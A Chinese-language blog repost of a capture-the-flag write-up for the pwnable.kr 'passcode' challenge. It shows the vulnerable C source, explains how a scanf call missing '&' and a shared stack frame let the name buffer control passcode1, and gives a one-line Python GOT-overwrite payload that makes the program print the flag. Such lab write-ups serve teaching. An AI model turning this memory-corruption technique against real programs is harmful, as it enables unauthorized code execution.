pwnable.kr之passcode
Posted countfatcode
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnable.kr之passcode相关的知识,希望对你有一定的参考价值。
使用ssh [email protected] -p2222登录到远程服务器, ls -l 查看目录下的文件,
-r--r----- 1 root passcode_pwn 48 Jun 26 2014 flag -r-xr-sr-x 1 root passcode_pwn 7485 Jun 26 2014 passcode -rw-r--r-- 1 root root 858 Jun 26 2014 passcode.c
先运行一下passcode,发现没啥,就直接打开原代码,
#include <stdio.h> #include <stdlib.h> void login() int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\\n"); if(passcode1==338150 && passcode2==13371337) printf("Login OK!\\n"); system("/bin/cat flag"); else printf("Login Failed!\\n"); exit(0); void welcome() char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\\n", name); int main() printf("Toddler‘s Secure Login System 1.0 beta.\\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\\n"); return 0;
观察知重点是在登录函数,只要我们输入值的符合条件就可以拿到flag。但是由于 scanf()函数少了一个 ‘&’ 符号,所以这条路走不通。
在看发现welcome()函数和login()函数是连续调用的,所以有相同的栈底(保险可以调试一下看看是否栈底相同),而且name这个字符串开的比较大,感觉可以覆盖什么东西。
查看passcode文件的汇编代码,
找到name所在地址
找到passcode1和passcode2的地址,计算一下知道name最后四个字节刚好可以覆盖passcode1。
于是想到可以用 GOT表覆写技术,具体代码如下:
python -c ‘print "A"*96+"\\x00\\xa0\\x04\\x08"+"134514147"‘ | ./passcode
拿到flag:
以上是关于pwnable.kr之passcode的主要内容,如果未能解决你的问题,请参考以下文章